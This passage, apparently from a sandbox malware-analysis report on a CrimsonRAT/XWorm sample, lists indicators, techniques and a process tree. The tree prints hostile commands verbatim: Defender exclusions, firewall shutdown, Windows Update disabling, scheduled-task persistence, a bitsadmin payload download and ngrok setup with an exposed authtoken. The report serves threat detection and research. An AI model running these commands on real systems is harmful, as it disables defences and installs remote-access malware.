crimsonrat | 62471479442943fbfae666403abfd0ccd02ed6d5be6bca01544cc887ca527c8d

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Stand.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	Stand.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3904	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000500000001db61-343.dat	aspack_v212_v242
behavioral2/files/0x00080000000231bd-460.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	ltqgjj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	StandLaunchpad.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	Stand.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk	Stand.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk	Stand.exe

Executes dropped EXE 29 IoCs

pid	Process
400	Stand.exe
4308	Stand.exe
2992	Stand.exe
1144	Stand.exe
1552	Stand.exe
2816	Stand.exe
3280	Stand.exe
728	Stand.exe
2408	Stand.exe
1740	Stand.exe
3584	ngrok.exe
2788	Stand.exe
2036	Stand.exe
5044	Stand.exe
3532	lkdfcj.exe
4488	Stand.exe
3300	wqiviy.exe
4432	irgphv.exe
4116	Stand.exe
4048	duenba.exe
3008	csycab.exe
236	Stand.exe
2896	myarzu.exe
4488	yekovb.exe
4396	Stand.exe
3924	Stand.exe
3400	ltqgjj.exe
856	dlrarhsiva.exe
3900	Stand.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe"	Stand.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Z:	yekovb.exe
File opened (read-only)	\??\E:	yekovb.exe
File opened (read-only)	\??\G:	yekovb.exe
File opened (read-only)	\??\J:	yekovb.exe
File opened (read-only)	\??\Q:	yekovb.exe
File opened (read-only)	\??\Y:	yekovb.exe
File opened (read-only)	\??\I:	yekovb.exe
File opened (read-only)	\??\T:	yekovb.exe
File opened (read-only)	\??\U:	yekovb.exe
File opened (read-only)	\??\M:	yekovb.exe
File opened (read-only)	\??\O:	yekovb.exe
File opened (read-only)	\??\P:	yekovb.exe
File opened (read-only)	\??\A:	yekovb.exe
File opened (read-only)	\??\B:	yekovb.exe
File opened (read-only)	\??\H:	yekovb.exe
File opened (read-only)	\??\K:	yekovb.exe
File opened (read-only)	\??\L:	yekovb.exe
File opened (read-only)	\??\R:	yekovb.exe
File opened (read-only)	\??\S:	yekovb.exe
File opened (read-only)	\??\W:	yekovb.exe
File opened (read-only)	\??\X:	yekovb.exe
File opened (read-only)	\??\N:	yekovb.exe
File opened (read-only)	\??\V:	yekovb.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
114	raw.githubusercontent.com
115	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4024	sc.exe
4776	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2672	schtasks.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
240	bitsadmin.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 1 IoCs

pid	Process
2800	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\Local Settings	StandLaunchpad.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-399997616-3400990511-967324271-1000\{3B6D0F43-875D-4F7C-8144-E3FAE9AC919A}	yekovb.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1440	powershell.exe
1440	powershell.exe
2644	powershell.exe
2644	powershell.exe
2644	powershell.exe
344	powershell.exe
344	powershell.exe
344	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
400	Stand.exe
400	Stand.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe
2944	StandLaunchpad.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
400	Stand.exe
4432	irgphv.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeDebugPrivilege	400	Stand.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	344	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	400	Stand.exe
Token: SeDebugPrivilege	2944	StandLaunchpad.exe
Token: SeDebugPrivilege	4308	Stand.exe
Token: SeDebugPrivilege	2992	Stand.exe
Token: SeDebugPrivilege	1144	Stand.exe
Token: SeDebugPrivilege	1552	Stand.exe
Token: SeDebugPrivilege	2816	Stand.exe
Token: SeDebugPrivilege	3280	Stand.exe
Token: SeDebugPrivilege	728	Stand.exe
Token: SeDebugPrivilege	2408	Stand.exe
Token: SeDebugPrivilege	1740	Stand.exe
Token: SeDebugPrivilege	2800	taskkill.exe
Token: SeDebugPrivilege	2788	Stand.exe
Token: SeDebugPrivilege	2036	Stand.exe
Token: SeDebugPrivilege	5044	Stand.exe
Token: SeDebugPrivilege	4488	Stand.exe
Token: SeDebugPrivilege	4116	Stand.exe
Token: SeDebugPrivilege	236	Stand.exe
Token: SeShutdownPrivilege	4488	yekovb.exe
Token: SeCreatePagefilePrivilege	4488	yekovb.exe
Token: 33	4920	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4920	AUDIODG.EXE
Token: SeShutdownPrivilege	4488	yekovb.exe
Token: SeCreatePagefilePrivilege	4488	yekovb.exe
Token: SeShutdownPrivilege	4488	yekovb.exe
Token: SeCreatePagefilePrivilege	4488	yekovb.exe
Token: SeDebugPrivilege	4396	Stand.exe
Token: SeDebugPrivilege	3924	Stand.exe
Token: SeDebugPrivilege	3900	Stand.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
2896	myarzu.exe
4488	yekovb.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe
1008	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
400	Stand.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 400	4656	StandLaunchpad.exe	86
PID 4656 wrote to memory of 400	4656	StandLaunchpad.exe	86
PID 4656 wrote to memory of 3392	4656	StandLaunchpad.exe	87
PID 4656 wrote to memory of 3392	4656	StandLaunchpad.exe	87
PID 4656 wrote to memory of 3392	4656	StandLaunchpad.exe	87
PID 3392 wrote to memory of 240	3392	mshta.exe	90
PID 3392 wrote to memory of 240	3392	mshta.exe	90
PID 3392 wrote to memory of 240	3392	mshta.exe	90
PID 400 wrote to memory of 1440	400	Stand.exe	95
PID 400 wrote to memory of 1440	400	Stand.exe	95
PID 400 wrote to memory of 2644	400	Stand.exe	99
PID 400 wrote to memory of 2644	400	Stand.exe	99
PID 400 wrote to memory of 344	400	Stand.exe	101
PID 400 wrote to memory of 344	400	Stand.exe	101
PID 400 wrote to memory of 1876	400	Stand.exe	104
PID 400 wrote to memory of 1876	400	Stand.exe	104
PID 400 wrote to memory of 2672	400	Stand.exe	106
PID 400 wrote to memory of 2672	400	Stand.exe	106
PID 3392 wrote to memory of 2944	3392	mshta.exe	111
PID 3392 wrote to memory of 2944	3392	mshta.exe	111
PID 400 wrote to memory of 2800	400	Stand.exe	124
PID 400 wrote to memory of 2800	400	Stand.exe	124
PID 400 wrote to memory of 3584	400	Stand.exe	127
PID 400 wrote to memory of 3584	400	Stand.exe	127
PID 400 wrote to memory of 3584	400	Stand.exe	127
PID 400 wrote to memory of 3904	400	Stand.exe	130
PID 400 wrote to memory of 3904	400	Stand.exe	130
PID 400 wrote to memory of 4024	400	Stand.exe	132
PID 400 wrote to memory of 4024	400	Stand.exe	132
PID 400 wrote to memory of 4776	400	Stand.exe	134
PID 400 wrote to memory of 4776	400	Stand.exe	134
PID 3676 wrote to memory of 2640	3676	msedge.exe	150
PID 3676 wrote to memory of 2640	3676	msedge.exe	150
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151
PID 3676 wrote to memory of 540	3676	msedge.exe	151

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\policies\system	Stand.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Stand.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\StandLaunchpad.exe
"C:\Users\Admin\AppData\Local\Temp\StandLaunchpad.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Users\Admin\AppData\Roaming\Stand.exe
  "C:\Users\Admin\AppData\Roaming\Stand.exe"
  2⤵
  - UAC bypass
  - Disables RegEdit via registry modification
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1876
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2672
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /im ngrok.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
    "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" config add-authtoken 2TXGsZq2bw0qOMjyHoix51mIOUc_4EopY54VRHRpCya1jcRUn
    3⤵
    - Executes dropped EXE
    PID:3584
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:3904
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4024
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start=disabled
    3⤵
    - Launches sc.exe
    PID:4776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://exmple.com/
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9dc3746f8,0x7ff9dc374708,0x7ff9dc374718
      4⤵
      PID:812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
      4⤵
      PID:1392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:3
      4⤵
      PID:1688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
      4⤵
      PID:4652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
      4⤵
      PID:3588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
      4⤵
      PID:3584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4404 /prefetch:8
      4⤵
      PID:2200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4404 /prefetch:8
      4⤵
      PID:4508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
      4⤵
      PID:1412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
      4⤵
      PID:2496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
      4⤵
      PID:3064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
      4⤵
      PID:2808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,8268648152477846239,2694988947017066698,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1972 /prefetch:2
      4⤵
      PID:1360
- - C:\Users\Admin\AppData\Local\Temp\lkdfcj.exe
    "C:\Users\Admin\AppData\Local\Temp\lkdfcj.exe"
    3⤵
    - Executes dropped EXE
    PID:3532
- - C:\Users\Admin\AppData\Local\Temp\wqiviy.exe
    "C:\Users\Admin\AppData\Local\Temp\wqiviy.exe"
    3⤵
    - Executes dropped EXE
    PID:3300
- - C:\Users\Admin\AppData\Local\Temp\irgphv.exe
    "C:\Users\Admin\AppData\Local\Temp\irgphv.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    PID:4432
- - C:\Users\Admin\AppData\Local\Temp\duenba.exe
    "C:\Users\Admin\AppData\Local\Temp\duenba.exe"
    3⤵
    - Executes dropped EXE
    PID:4048
- - C:\Users\Admin\AppData\Local\Temp\csycab.exe
    "C:\Users\Admin\AppData\Local\Temp\csycab.exe"
    3⤵
    - Executes dropped EXE
    PID:3008
- - C:\Users\Admin\AppData\Local\Temp\myarzu.exe
    "C:\Users\Admin\AppData\Local\Temp\myarzu.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:2896
- - C:\Users\Admin\AppData\Local\Temp\yekovb.exe
    "C:\Users\Admin\AppData\Local\Temp\yekovb.exe"
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4488
- - C:\Users\Admin\AppData\Local\Temp\ltqgjj.exe
    "C:\Users\Admin\AppData\Local\Temp\ltqgjj.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3400
  - - C:\ProgramData\Hdlharas\dlrarhsiva.exe
      "C:\ProgramData\Hdlharas\dlrarhsiva.exe"
      4⤵
      Executes dropped EXE
      PID:856
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\SysWOW64\bitsadmin.exe
    "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\StandLaunchpad.exe
    3⤵
    - Download via BitsAdmin
    PID:240
- - C:\Users\Admin\AppData\Local\Temp\StandLaunchpad.exe
    "C:\Users\Admin\AppData\Local\Temp\StandLaunchpad.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2944

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4308

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2992

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1552

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2816

C:\Users\Admin\AppData\Local\Temp\Stand.exe
C:\Users\Admin\AppData\Local\Temp\Stand.exe
1⤵
- Executes dropped EXE
